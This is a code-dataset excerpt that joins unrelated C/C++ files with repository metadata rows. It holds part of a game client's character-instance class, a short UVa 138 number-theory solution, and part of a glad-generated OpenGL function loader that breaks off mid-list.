else if (m_kHorse.IsMounting())
{
switch (bySubType)
{
case CItemData::WEAPON_SWORD:
SetMotionMode(CRaceMotionData::MODE_HORSE_ONEHAND_SWORD);
break;
case CItemData::WEAPON_TWO_HANDED:
SetMotionMode(CRaceMotionData::MODE_HORSE_TWOHAND_SWORD); // Only Warrior
break;
case CItemData::WEAPON_DAGGER:
SetMotionMode(CRaceMotionData::MODE_HORSE_DUALHAND_SWORD); // Only Assassin
break;
case CItemData::WEAPON_FAN:
SetMotionMode(CRaceMotionData::MODE_HORSE_FAN); // Only Shaman
break;
case CItemData::WEAPON_BELL:
SetMotionMode(CRaceMotionData::MODE_HORSE_BELL); // Only Shaman
break;
case CItemData::WEAPON_BOW:
SetMotionMode(CRaceMotionData::MODE_HORSE_BOW); // Only Shaman
break;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CItemData::WEAPON_CLAW:
SetMotionMode(CRaceMotionData::MODE_HORSE_CLAW); // Only Wolfman
break;
#endif
default:
SetMotionMode(CRaceMotionData::MODE_HORSE);
break;
}
}
else
{
switch (bySubType)
{
case CItemData::WEAPON_SWORD:
SetMotionMode(CRaceMotionData::MODE_ONEHAND_SWORD);
break;
case CItemData::WEAPON_TWO_HANDED:
SetMotionMode(CRaceMotionData::MODE_TWOHAND_SWORD); // Only Warrior
break;
case CItemData::WEAPON_DAGGER:
SetMotionMode(CRaceMotionData::MODE_DUALHAND_SWORD); // Only Assassin
break;
case CItemData::WEAPON_BOW:
SetMotionMode(CRaceMotionData::MODE_BOW); // Only Assassin
break;
case CItemData::WEAPON_FAN:
SetMotionMode(CRaceMotionData::MODE_FAN); // Only Shaman
break;
case CItemData::WEAPON_BELL:
SetMotionMode(CRaceMotionData::MODE_BELL); // Only Shaman
break;
#ifdef ENABLE_WOLFMAN_CHARACTER
case CItemData::WEAPON_CLAW:
SetMotionMode(CRaceMotionData::MODE_CLAW); // Only Wolfman
break;
#endif
case CItemData::WEAPON_ARROW:
default:
SetMotionMode(CRaceMotionData::MODE_GENERAL);
break;
}
}
if (isLoop)
m_GraphicThingInstance.InterceptLoopMotion(dwMotIndex);
else
m_GraphicThingInstance.InterceptOnceMotion(dwMotIndex);
RefreshActorInstance();
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Device
void CInstanceBase::RegisterBoundingSphere()
{
if (!IsStone())
{
m_GraphicThingInstance.DeformNoSkin();
}
m_GraphicThingInstance.RegisterBoundingSphere();
}
bool CInstanceBase::CreateDeviceObjects()
{
return m_GraphicThingInstance.CreateDeviceObjects();
}
void CInstanceBase::DestroyDeviceObjects()
{
m_GraphicThingInstance.DestroyDeviceObjects();
}
void CInstanceBase::Destroy()
{
DetachTextTail();
DismountHorse();
m_kQue_kCmdNew.clear();
__EffectContainer_Destroy();
__StoneSmoke_Destroy();
if (__IsMainInstance())
__ClearMainInstance();
m_GraphicThingInstance.Destroy();
__Initialize();
}
void CInstanceBase::__InitializeRotationSpeed()
{
SetRotationSpeed(c_fDefaultRotationSpeed);
}
void CInstanceBase::__Warrior_Initialize()
{
m_kWarrior.m_dwGeomgyeongEffect=0;
}
void CInstanceBase::__Initialize()
{
__Warrior_Initialize();
__StoneSmoke_Inialize();
__EffectContainer_Initialize();
__InitializeRotationSpeed();
SetEventHandler(CActorInstance::IEventHandler::GetEmptyPtr());
m_kAffectFlagContainer.Clear();
m_dwLevel = 0;
m_dwGuildID = 0;
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
m_bGuildLeaderGrade = 0;
#endif
m_dwEmpireID = 0;
m_eType = 0;
m_eRaceType = 0;
m_eShape = 0;
m_dwRace = 0;
m_dwVirtualNumber = 0;
m_dwBaseCmdTime=0;
m_dwBaseChkTime=0;
m_dwSkipTime=0;
m_GraphicThingInstance.Initialize();
m_dwAdvActorVID=0;
m_dwLastDmgActorVID=0;
m_nAverageNetworkGap=0;
m_dwNextUpdateHeightTime=0;
// Moving by keyboard
m_iRotatingDirection = DEGREE_DIRECTION_SAME;
// Moving by mouse
m_isTextTail = FALSE;
m_isGoing = FALSE;
NEW_SetSrcPixelPosition(TPixelPosition(0, 0, 0));
NEW_SetDstPixelPosition(TPixelPosition(0, 0, 0));
m_kPPosDust = TPixelPosition(0, 0, 0);
m_kQue_kCmdNew.clear();
m_dwLastComboIndex = 0;
m_swordRefineEffectRight = 0;
m_swordRefineEffectLeft = 0;
m_armorRefineEffect = 0;
#ifdef ENABLE_ACCE_SYSTEM
m_dwAcceEffect = 0;
#endif
#ifdef ENABLE_AURA_SYSTEM
m_auraRefineEffect = 0;
#endif
m_sAlignment = 0;
m_byPKMode = 0;
m_isKiller = false;
m_isPartyMember = false;
m_bEnableTCPState = TRUE;
m_stName = "";
memset(m_awPart, 0, sizeof(m_awPart));
memset(m_adwCRCAffectEffect, 0, sizeof(m_adwCRCAffectEffect));
//memset(m_adwCRCEmoticonEffect, 0, sizeof(m_adwCRCEmoticonEffect));
memset(&m_kMovAfterFunc, 0, sizeof(m_kMovAfterFunc));
m_bDamageEffectType = false;
m_dwDuelMode = DUEL_NONE;
m_dwEmoticonTime = 0;
}
CInstanceBase::CInstanceBase()
{
__Initialize();
}
CInstanceBase::~CInstanceBase()
{
Destroy();
}
void CInstanceBase::GetBoundBox(D3DXVECTOR3 * vtMin, D3DXVECTOR3 * vtMax)
{
m_GraphicThingInstance.GetBoundBox(vtMin, vtMax);
}
#ifdef ENABLE_AURA_SYSTEM
void CInstanceBase::ChangeAura(DWORD eAura)
{
if (m_GraphicThingInstance.GetPartItemID(CRaceData::PART_AURA) != eAura)
SetAura(eAura);
}
bool CInstanceBase::SetAura(DWORD eAura)
{
if (!IsPC() || IsPoly() || __IsShapeAnimalWear())
return false;
m_GraphicThingInstance.ChangePart(CRaceData::PART_AURA, eAura);
if (!eAura)
{
if (m_auraRefineEffect)
{
__DetachEffect(m_auraRefineEffect);
m_auraRefineEffect = 0;
}
m_awPart[CRaceData::PART_AURA] = 0;
return true;
}
CItemData* pItemData;
if (!CItemManager::Instance().GetItemDataPointer(eAura, &pItemData))
{
if (m_auraRefineEffect)
{
__DetachEffect(m_auraRefineEffect);
m_auraRefineEffect = 0;
}
m_awPart[CRaceData::PART_AURA] = 0;
return true;
}
BYTE byRace = (BYTE)GetRace();
BYTE byJob = (BYTE)RaceToJob(byRace);
BYTE bySex = (BYTE)RaceToSex(byRace);
D3DXVECTOR3 v3MeshScale = pItemData->GetAuraMeshScaleVector(byJob, bySex);
float fParticleScale = pItemData->GetAuraParticleScale(byJob, bySex);
m_auraRefineEffect = m_GraphicThingInstance.AttachEffectByID(0, "Bip01 Spine2", pItemData->GetAuraEffectID(), NULL, fParticleScale, &v3MeshScale);
m_awPart[CRaceData::PART_AURA] = eAura;
return true;
}
#endif | [
"burakdayanc41@gmail.com"
] | burakdayanc41@gmail.com |
7f59c0f93fb6a59538117a4a8e0326725623afab | 9d36ad1a59d72935f270b1bce39e044f37297f2a | /FangDenHut/FangDenHut/Huetchen.cpp | 5a573e3dc8a54def2aa77985b628d2abc9694cf9 | [] | no_license | PaulDieterich/HS-Osnabrueck-OOAD-FangDenHut | f4747ddbf26a07a2a29d459a42862059e8c98ba4 | 79953a568a0dfe26377a34030c4f43353e477b43 | refs/heads/main | 2023-05-25T15:47:59.267670 | 2021-06-16T13:01:28 | 2021-06-16T13:01:28 | 375,657,488 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 22 | cpp | #include "Huetchen.h"
| [
"pjd-x1@pop-os.localdomain"
] | pjd-x1@pop-os.localdomain |
abd3025017631ae6af1240da968b69cbb526f371 | 286935ae852070223616622bc691abd2b52e41ba | /Uva/Uva 100_499/Uva 138.cpp | fa6cd57a9ce83031bb1222bfc9eb9f2aadb8a959 | [] | no_license | ryuxin/Online-Judge | 52108f625b3aa67cee754dc33ce42596b7ff07ba | c7d985dffead7af7c18934a8d4314c2664ab3023 | refs/heads/master | 2021-08-08T08:08:25.054789 | 2021-01-29T03:57:06 | 2021-01-29T03:57:06 | 16,192,900 | 7 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 528 | cpp | /*入门题。简单数学。由题意可得,2*k*k = n(n+1),
枚举n即可*/
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <queue>
using namespace std;
#define NUM 300
#define LEN 520
int main()
{
long long int s = 0, i, t = 8, k;
printf("%10d%10d\n", 6, 8);
printf("%10d%10d\n", 35, 49);
for(i=1; i<50; i++)
s += i;
while(t>0) {
s += i;
k = sqrt((double)s);
if (k*k == s) {
printf("%10lld%10lld\n", k, i);
t--;
}
i++;
}
return 0;
} | [
"m.phelps.a@gmail.com"
] | m.phelps.a@gmail.com |
5e701841e37270aa8aee3ff8a5fb1af99679697c | c406aa3c700079428dd3868bfa5562c138281d98 | /src/glad.cpp | dad8455dc6f92e1cab54ca9ecb73285c661f2733 | [] | no_license | maxbergmark/tower-defence-opengl | 9e91541b5f8986c6c134f2f998b6a48e0ccba28d | 8e054056ab5346713670965cd6d9c2397215056c | refs/heads/master | 2021-07-12T20:49:39.452775 | 2020-06-27T11:56:40 | 2020-06-27T11:56:40 | 169,384,315 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 60,263 | cpp | /*
OpenGL loader generated by glad 0.1.33 on Sun May 17 13:06:45 2020.
Language/Generator: C/C++
Specification: gl
APIs: gl=3.3
Profile: core
Extensions:
Loader: True
Local files: False
Omit khrplatform: False
Reproducible: False
Commandline:
--profile="core" --api="gl=3.3" --generator="c" --spec="gl" --extensions=""
Online:
https://glad.dav1d.de/#profile=core&language=c&specification=gl&loader=on&api=gl%3D3.3
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glad/glad.h>
static void* get_proc(const char *namez);
#if defined(_WIN32) || defined(__CYGWIN__)
#ifndef _WINDOWS_
#undef APIENTRY
#endif
#include <windows.h>
static HMODULE libGL;
typedef void* (APIENTRYP PFNWGLGETPROCADDRESSPROC_PRIVATE)(const char*);
static PFNWGLGETPROCADDRESSPROC_PRIVATE gladGetProcAddressPtr;
#ifdef _MSC_VER
#ifdef __has_include
#if __has_include(<winapifamily.h>)
#define HAVE_WINAPIFAMILY 1
#endif
#elif _MSC_VER >= 1700 && !_USING_V110_SDK71_
#define HAVE_WINAPIFAMILY 1
#endif
#endif
#ifdef HAVE_WINAPIFAMILY
#include <winapifamily.h>
#if !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)
#define IS_UWP 1
#endif
#endif
static
int open_gl(void) {
#ifndef IS_UWP
libGL = LoadLibraryW(L"opengl32.dll");
if(libGL != NULL) {
void (* tmp)(void);
tmp = (void(*)(void)) GetProcAddress(libGL, "wglGetProcAddress");
gladGetProcAddressPtr = (PFNWGLGETPROCADDRESSPROC_PRIVATE) tmp;
return gladGetProcAddressPtr != NULL;
}
#endif
return 0;
}
static
void close_gl(void) {
if(libGL != NULL) {
FreeLibrary((HMODULE) libGL);
libGL = NULL;
}
}
#else
#include <dlfcn.h>
static void* libGL;
#if !defined(__APPLE__) && !defined(__HAIKU__)
typedef void* (APIENTRYP PFNGLXGETPROCADDRESSPROC_PRIVATE)(const char*);
static PFNGLXGETPROCADDRESSPROC_PRIVATE gladGetProcAddressPtr;
#endif
static
int open_gl(void) {
#ifdef __APPLE__
static const char *NAMES[] = {
"../Frameworks/OpenGL.framework/OpenGL",
"/Library/Frameworks/OpenGL.framework/OpenGL",
"/System/Library/Frameworks/OpenGL.framework/OpenGL",
"/System/Library/Frameworks/OpenGL.framework/Versions/Current/OpenGL"
};
#else
static const char *NAMES[] = {"libGL.so.1", "libGL.so"};
#endif
unsigned int index = 0;
for(index = 0; index < (sizeof(NAMES) / sizeof(NAMES[0])); index++) {
libGL = dlopen(NAMES[index], RTLD_NOW | RTLD_GLOBAL);
if(libGL != NULL) {
#if defined(__APPLE__) || defined(__HAIKU__)
return 1;
#else
gladGetProcAddressPtr = (PFNGLXGETPROCADDRESSPROC_PRIVATE)dlsym(libGL,
"glXGetProcAddressARB");
return gladGetProcAddressPtr != NULL;
#endif
}
}
return 0;
}
static
void close_gl(void) {
if(libGL != NULL) {
dlclose(libGL);
libGL = NULL;
}
}
#endif
static
void* get_proc(const char *namez) {
void* result = NULL;
if(libGL == NULL) return NULL;
#if !defined(__APPLE__) && !defined(__HAIKU__)
if(gladGetProcAddressPtr != NULL) {
result = gladGetProcAddressPtr(namez);
}
#endif
if(result == NULL) {
#if defined(_WIN32) || defined(__CYGWIN__)
result = (void*)GetProcAddress((HMODULE) libGL, namez);
#else
result = dlsym(libGL, namez);
#endif
}
return result;
}
int gladLoadGL(void) {
int status = 0;
if(open_gl()) {
status = gladLoadGLLoader(&get_proc);
close_gl();
}
return status;
}
struct gladGLversionStruct GLVersion = { 0, 0 };
#if defined(GL_ES_VERSION_3_0) || defined(GL_VERSION_3_0)
#define _GLAD_IS_SOME_NEW_VERSION 1
#endif
static int max_loaded_major;
static int max_loaded_minor;
static const char *exts = NULL;
static int num_exts_i = 0;
static char **exts_i = NULL;
static int get_exts(void) {
#ifdef _GLAD_IS_SOME_NEW_VERSION
if(max_loaded_major < 3) {
#endif
exts = (const char *)glGetString(GL_EXTENSIONS);
#ifdef _GLAD_IS_SOME_NEW_VERSION
} else {
unsigned int index;
num_exts_i = 0;
glGetIntegerv(GL_NUM_EXTENSIONS, &num_exts_i);
if (num_exts_i > 0) {
exts_i = (char **)malloc((size_t)num_exts_i * (sizeof *exts_i));
}
if (exts_i == NULL) {
return 0;
}
for(index = 0; index < (unsigned)num_exts_i; index++) {
const char *gl_str_tmp = (const char*)glGetStringi(GL_EXTENSIONS, index);
size_t len = strlen(gl_str_tmp);
char *local_str = (char*)malloc((len+1) * sizeof(char));
if(local_str != NULL) {
memcpy(local_str, gl_str_tmp, (len+1) * sizeof(char));
}
exts_i[index] = local_str;
}
}
#endif
return 1;
}
static void free_exts(void) {
if (exts_i != NULL) {
int index;
for(index = 0; index < num_exts_i; index++) {
free((char *)exts_i[index]);
}
free((void *)exts_i);
exts_i = NULL;
}
}
static int has_ext(const char *ext) {
#ifdef _GLAD_IS_SOME_NEW_VERSION
if(max_loaded_major < 3) {
#endif
const char *extensions;
const char *loc;
const char *terminator;
extensions = exts;
if(extensions == NULL || ext == NULL) {
return 0;
}
while(1) {
loc = strstr(extensions, ext);
if(loc == NULL) {
return 0;
}
terminator = loc + strlen(ext);
if((loc == extensions || *(loc - 1) == ' ') &&
(*terminator == ' ' || *terminator == '\0')) {
return 1;
}
extensions = terminator;
}
#ifdef _GLAD_IS_SOME_NEW_VERSION
} else {
int index;
if(exts_i == NULL) return 0;
for(index = 0; index < num_exts_i; index++) {
const char *e = exts_i[index];
if(exts_i[index] != NULL && strcmp(e, ext) == 0) {
return 1;
}
}
}
#endif
return 0;
}
int GLAD_GL_VERSION_1_0 = 0;
int GLAD_GL_VERSION_1_1 = 0;
int GLAD_GL_VERSION_1_2 = 0;
int GLAD_GL_VERSION_1_3 = 0;
int GLAD_GL_VERSION_1_4 = 0;
int GLAD_GL_VERSION_1_5 = 0;
int GLAD_GL_VERSION_2_0 = 0;
int GLAD_GL_VERSION_2_1 = 0;
int GLAD_GL_VERSION_3_0 = 0;
int GLAD_GL_VERSION_3_1 = 0;
int GLAD_GL_VERSION_3_2 = 0;
int GLAD_GL_VERSION_3_3 = 0;
PFNGLACTIVETEXTUREPROC glad_glActiveTexture = NULL;
PFNGLATTACHSHADERPROC glad_glAttachShader = NULL;
PFNGLBEGINCONDITIONALRENDERPROC glad_glBeginConditionalRender = NULL;
PFNGLBEGINQUERYPROC glad_glBeginQuery = NULL;
PFNGLBEGINTRANSFORMFEEDBACKPROC glad_glBeginTransformFeedback = NULL;
PFNGLBINDATTRIBLOCATIONPROC glad_glBindAttribLocation = NULL;
PFNGLBINDBUFFERPROC glad_glBindBuffer = NULL;
PFNGLBINDBUFFERBASEPROC glad_glBindBufferBase = NULL;
PFNGLBINDBUFFERRANGEPROC glad_glBindBufferRange = NULL;
PFNGLBINDFRAGDATALOCATIONPROC glad_glBindFragDataLocation = NULL;
PFNGLBINDFRAGDATALOCATIONINDEXEDPROC glad_glBindFragDataLocationIndexed = NULL;
PFNGLBINDFRAMEBUFFERPROC glad_glBindFramebuffer = NULL;
PFNGLBINDRENDERBUFFERPROC glad_glBindRenderbuffer = NULL;
PFNGLBINDSAMPLERPROC glad_glBindSampler = NULL;
PFNGLBINDTEXTUREPROC glad_glBindTexture = NULL;
PFNGLBINDVERTEXARRAYPROC glad_glBindVertexArray = NULL;
PFNGLBLENDCOLORPROC glad_glBlendColor = NULL;
PFNGLBLENDEQUATIONPROC glad_glBlendEquation = NULL;
PFNGLBLENDEQUATIONSEPARATEPROC glad_glBlendEquationSeparate = NULL;
PFNGLBLENDFUNCPROC glad_glBlendFunc = NULL;
PFNGLBLENDFUNCSEPARATEPROC glad_glBlendFuncSeparate = NULL;
PFNGLBLITFRAMEBUFFERPROC glad_glBlitFramebuffer = NULL;
PFNGLBUFFERDATAPROC glad_glBufferData = NULL;
PFNGLBUFFERSUBDATAPROC glad_glBufferSubData = NULL;
PFNGLCHECKFRAMEBUFFERSTATUSPROC glad_glCheckFramebufferStatus = NULL;
PFNGLCLAMPCOLORPROC glad_glClampColor = NULL;
PFNGLCLEARPROC glad_glClear = NULL;
PFNGLCLEARBUFFERFIPROC glad_glClearBufferfi = NULL;
PFNGLCLEARBUFFERFVPROC glad_glClearBufferfv = NULL;
PFNGLCLEARBUFFERIVPROC glad_glClearBufferiv = NULL;
PFNGLCLEARBUFFERUIVPROC glad_glClearBufferuiv = NULL;
PFNGLCLEARCOLORPROC glad_glClearColor = NULL;
PFNGLCLEARDEPTHPROC glad_glClearDepth = NULL;
PFNGLCLEARSTENCILPROC glad_glClearStencil = NULL;
PFNGLCLIENTWAITSYNCPROC glad_glClientWaitSync = NULL;
PFNGLCOLORMASKPROC glad_glColorMask = NULL;
PFNGLCOLORMASKIPROC glad_glColorMaski = NULL;
PFNGLCOLORP3UIPROC glad_glColorP3ui = NULL;
PFNGLCOLORP3UIVPROC glad_glColorP3uiv = NULL;
PFNGLCOLORP4UIPROC glad_glColorP4ui = NULL;
PFNGLCOLORP4UIVPROC glad_glColorP4uiv = NULL;
PFNGLCOMPILESHADERPROC glad_glCompileShader = NULL;
PFNGLCOMPRESSEDTEXIMAGE1DPROC glad_glCompressedTexImage1D = NULL;
PFNGLCOMPRESSEDTEXIMAGE2DPROC glad_glCompressedTexImage2D = NULL;
PFNGLCOMPRESSEDTEXIMAGE3DPROC glad_glCompressedTexImage3D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC glad_glCompressedTexSubImage1D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC glad_glCompressedTexSubImage2D = NULL;
PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC glad_glCompressedTexSubImage3D = NULL;
PFNGLCOPYBUFFERSUBDATAPROC glad_glCopyBufferSubData = NULL;
PFNGLCOPYTEXIMAGE1DPROC glad_glCopyTexImage1D = NULL;
PFNGLCOPYTEXIMAGE2DPROC glad_glCopyTexImage2D = NULL;
PFNGLCOPYTEXSUBIMAGE1DPROC glad_glCopyTexSubImage1D = NULL;
PFNGLCOPYTEXSUBIMAGE2DPROC glad_glCopyTexSubImage2D = NULL;
PFNGLCOPYTEXSUBIMAGE3DPROC glad_glCopyTexSubImage3D = NULL;
PFNGLCREATEPROGRAMPROC glad_glCreateProgram = NULL;
PFNGLCREATESHADERPROC glad_glCreateShader = NULL;
PFNGLCULLFACEPROC glad_glCullFace = NULL;
PFNGLDELETEBUFFERSPROC glad_glDeleteBuffers = NULL;
PFNGLDELETEFRAMEBUFFERSPROC glad_glDeleteFramebuffers = NULL;
PFNGLDELETEPROGRAMPROC glad_glDeleteProgram = NULL;
PFNGLDELETEQUERIESPROC glad_glDeleteQueries = NULL;
PFNGLDELETERENDERBUFFERSPROC glad_glDeleteRenderbuffers = NULL;
PFNGLDELETESAMPLERSPROC glad_glDeleteSamplers = NULL;
PFNGLDELETESHADERPROC glad_glDeleteShader = NULL;
PFNGLDELETESYNCPROC glad_glDeleteSync = NULL;
PFNGLDELETETEXTURESPROC glad_glDeleteTextures = NULL;
PFNGLDELETEVERTEXARRAYSPROC glad_glDeleteVertexArrays = NULL;
PFNGLDEPTHFUNCPROC glad_glDepthFunc = NULL;
PFNGLDEPTHMASKPROC glad_glDepthMask = NULL;
PFNGLDEPTHRANGEPROC glad_glDepthRange = NULL;
PFNGLDETACHSHADERPROC glad_glDetachShader = NULL;
PFNGLDISABLEPROC glad_glDisable = NULL;
PFNGLDISABLEVERTEXATTRIBARRAYPROC glad_glDisableVertexAttribArray = NULL;
PFNGLDISABLEIPROC glad_glDisablei = NULL;
PFNGLDRAWARRAYSPROC glad_glDrawArrays = NULL;
PFNGLDRAWARRAYSINSTANCEDPROC glad_glDrawArraysInstanced = NULL;
PFNGLDRAWBUFFERPROC glad_glDrawBuffer = NULL;
PFNGLDRAWBUFFERSPROC glad_glDrawBuffers = NULL;
PFNGLDRAWELEMENTSPROC glad_glDrawElements = NULL;
PFNGLDRAWELEMENTSBASEVERTEXPROC glad_glDrawElementsBaseVertex = NULL;
PFNGLDRAWELEMENTSINSTANCEDPROC glad_glDrawElementsInstanced = NULL;
PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC glad_glDrawElementsInstancedBaseVertex = NULL;
PFNGLDRAWRANGEELEMENTSPROC glad_glDrawRangeElements = NULL;
PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC glad_glDrawRangeElementsBaseVertex = NULL;
PFNGLENABLEPROC glad_glEnable = NULL;
PFNGLENABLEVERTEXATTRIBARRAYPROC glad_glEnableVertexAttribArray = NULL;
PFNGLENABLEIPROC glad_glEnablei = NULL;
PFNGLENDCONDITIONALRENDERPROC glad_glEndConditionalRender = NULL;
PFNGLENDQUERYPROC glad_glEndQuery = NULL;
PFNGLENDTRANSFORMFEEDBACKPROC glad_glEndTransformFeedback = NULL;
PFNGLFENCESYNCPROC glad_glFenceSync = NULL;
PFNGLFINISHPROC glad_glFinish = NULL;
PFNGLFLUSHPROC glad_glFlush = NULL;
PFNGLFLUSHMAPPEDBUFFERRANGEPROC glad_glFlushMappedBufferRange = NULL;
PFNGLFRAMEBUFFERRENDERBUFFERPROC glad_glFramebufferRenderbuffer = NULL;
PFNGLFRAMEBUFFERTEXTUREPROC glad_glFramebufferTexture = NULL;
PFNGLFRAMEBUFFERTEXTURE1DPROC glad_glFramebufferTexture1D = NULL;
PFNGLFRAMEBUFFERTEXTURE2DPROC glad_glFramebufferTexture2D = NULL;
PFNGLFRAMEBUFFERTEXTURE3DPROC glad_glFramebufferTexture3D = NULL;
PFNGLFRAMEBUFFERTEXTURELAYERPROC glad_glFramebufferTextureLayer = NULL;
PFNGLFRONTFACEPROC glad_glFrontFace = NULL;
PFNGLGENBUFFERSPROC glad_glGenBuffers = NULL;
PFNGLGENFRAMEBUFFERSPROC glad_glGenFramebuffers = NULL;
PFNGLGENQUERIESPROC glad_glGenQueries = NULL;
PFNGLGENRENDERBUFFERSPROC glad_glGenRenderbuffers = NULL;
PFNGLGENSAMPLERSPROC glad_glGenSamplers = NULL;
PFNGLGENTEXTURESPROC glad_glGenTextures = NULL;
PFNGLGENVERTEXARRAYSPROC glad_glGenVertexArrays = NULL;
PFNGLGENERATEMIPMAPPROC glad_glGenerateMipmap = NULL;
PFNGLGETACTIVEATTRIBPROC glad_glGetActiveAttrib = NULL;
PFNGLGETACTIVEUNIFORMPROC glad_glGetActiveUniform = NULL;
PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC glad_glGetActiveUniformBlockName = NULL;
PFNGLGETACTIVEUNIFORMBLOCKIVPROC glad_glGetActiveUniformBlockiv = NULL;
PFNGLGETACTIVEUNIFORMNAMEPROC glad_glGetActiveUniformName = NULL;
PFNGLGETACTIVEUNIFORMSIVPROC glad_glGetActiveUniformsiv = NULL;
PFNGLGETATTACHEDSHADERSPROC glad_glGetAttachedShaders = NULL;
PFNGLGETATTRIBLOCATIONPROC glad_glGetAttribLocation = NULL;
PFNGLGETBOOLEANI_VPROC glad_glGetBooleani_v = NULL;
PFNGLGETBOOLEANVPROC glad_glGetBooleanv = NULL;
PFNGLGETBUFFERPARAMETERI64VPROC glad_glGetBufferParameteri64v = NULL;
PFNGLGETBUFFERPARAMETERIVPROC glad_glGetBufferParameteriv = NULL;
PFNGLGETBUFFERPOINTERVPROC glad_glGetBufferPointerv = NULL;
PFNGLGETBUFFERSUBDATAPROC glad_glGetBufferSubData = NULL;
PFNGLGETCOMPRESSEDTEXIMAGEPROC glad_glGetCompressedTexImage = NULL;
PFNGLGETDOUBLEVPROC glad_glGetDoublev = NULL;
PFNGLGETERRORPROC glad_glGetError = NULL;
PFNGLGETFLOATVPROC glad_glGetFloatv = NULL;
PFNGLGETFRAGDATAINDEXPROC glad_glGetFragDataIndex = NULL;
PFNGLGETFRAGDATALOCATIONPROC glad_glGetFragDataLocation = NULL;
PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC glad_glGetFramebufferAttachmentParameteriv = NULL;
PFNGLGETINTEGER64I_VPROC glad_glGetInteger64i_v = NULL;
PFNGLGETINTEGER64VPROC glad_glGetInteger64v = NULL;
PFNGLGETINTEGERI_VPROC glad_glGetIntegeri_v = NULL;
PFNGLGETINTEGERVPROC glad_glGetIntegerv = NULL;
PFNGLGETMULTISAMPLEFVPROC glad_glGetMultisamplefv = NULL;
PFNGLGETPROGRAMINFOLOGPROC glad_glGetProgramInfoLog = NULL;
PFNGLGETPROGRAMIVPROC glad_glGetProgramiv = NULL;
PFNGLGETQUERYOBJECTI64VPROC glad_glGetQueryObjecti64v = NULL;
PFNGLGETQUERYOBJECTIVPROC glad_glGetQueryObjectiv = NULL;
PFNGLGETQUERYOBJECTUI64VPROC glad_glGetQueryObjectui64v = NULL;
PFNGLGETQUERYOBJECTUIVPROC glad_glGetQueryObjectuiv = NULL;
PFNGLGETQUERYIVPROC glad_glGetQueryiv = NULL;
PFNGLGETRENDERBUFFERPARAMETERIVPROC glad_glGetRenderbufferParameteriv = NULL;
PFNGLGETSAMPLERPARAMETERIIVPROC glad_glGetSamplerParameterIiv = NULL;
PFNGLGETSAMPLERPARAMETERIUIVPROC glad_glGetSamplerParameterIuiv = NULL;
PFNGLGETSAMPLERPARAMETERFVPROC glad_glGetSamplerParameterfv = NULL;
PFNGLGETSAMPLERPARAMETERIVPROC glad_glGetSamplerParameteriv = NULL;
PFNGLGETSHADERINFOLOGPROC glad_glGetShaderInfoLog = NULL;
PFNGLGETSHADERSOURCEPROC glad_glGetShaderSource = NULL;
PFNGLGETSHADERIVPROC glad_glGetShaderiv = NULL;
PFNGLGETSTRINGPROC glad_glGetString = NULL;
PFNGLGETSTRINGIPROC glad_glGetStringi = NULL;
PFNGLGETSYNCIVPROC glad_glGetSynciv = NULL;
PFNGLGETTEXIMAGEPROC glad_glGetTexImage = NULL;
PFNGLGETTEXLEVELPARAMETERFVPROC glad_glGetTexLevelParameterfv = NULL;
PFNGLGETTEXLEVELPARAMETERIVPROC glad_glGetTexLevelParameteriv = NULL;
PFNGLGETTEXPARAMETERIIVPROC glad_glGetTexParameterIiv = NULL;
PFNGLGETTEXPARAMETERIUIVPROC glad_glGetTexParameterIuiv = NULL;
PFNGLGETTEXPARAMETERFVPROC glad_glGetTexParameterfv = NULL;
PFNGLGETTEXPARAMETERIVPROC glad_glGetTexParameteriv = NULL;
PFNGLGETTRANSFORMFEEDBACKVARYINGPROC glad_glGetTransformFeedbackVarying = NULL;
PFNGLGETUNIFORMBLOCKINDEXPROC glad_glGetUniformBlockIndex = NULL;
PFNGLGETUNIFORMINDICESPROC glad_glGetUniformIndices = NULL;
PFNGLGETUNIFORMLOCATIONPROC glad_glGetUniformLocation = NULL;
PFNGLGETUNIFORMFVPROC glad_glGetUniformfv = NULL;
PFNGLGETUNIFORMIVPROC glad_glGetUniformiv = NULL;
PFNGLGETUNIFORMUIVPROC glad_glGetUniformuiv = NULL;
PFNGLGETVERTEXATTRIBIIVPROC glad_glGetVertexAttribIiv = NULL;
PFNGLGETVERTEXATTRIBIUIVPROC glad_glGetVertexAttribIuiv = NULL;
PFNGLGETVERTEXATTRIBPOINTERVPROC glad_glGetVertexAttribPointerv = NULL;
PFNGLGETVERTEXATTRIBDVPROC glad_glGetVertexAttribdv = NULL;
PFNGLGETVERTEXATTRIBFVPROC glad_glGetVertexAttribfv = NULL;
PFNGLGETVERTEXATTRIBIVPROC glad_glGetVertexAttribiv = NULL;
PFNGLHINTPROC glad_glHint = NULL;
PFNGLISBUFFERPROC glad_glIsBuffer = NULL;
PFNGLISENABLEDPROC glad_glIsEnabled = NULL;
PFNGLISENABLEDIPROC glad_glIsEnabledi = NULL;
PFNGLISFRAMEBUFFERPROC glad_glIsFramebuffer = NULL;
PFNGLISPROGRAMPROC glad_glIsProgram = NULL;
PFNGLISQUERYPROC glad_glIsQuery = NULL;
PFNGLISRENDERBUFFERPROC glad_glIsRenderbuffer = NULL;
PFNGLISSAMPLERPROC glad_glIsSampler = NULL;
PFNGLISSHADERPROC glad_glIsShader = NULL;
PFNGLISSYNCPROC glad_glIsSync = NULL;
PFNGLISTEXTUREPROC glad_glIsTexture = NULL;
PFNGLISVERTEXARRAYPROC glad_glIsVertexArray = NULL;
PFNGLLINEWIDTHPROC glad_glLineWidth = NULL;
PFNGLLINKPROGRAMPROC glad_glLinkProgram = NULL;
PFNGLLOGICOPPROC glad_glLogicOp = NULL;
PFNGLMAPBUFFERPROC glad_glMapBuffer = NULL;
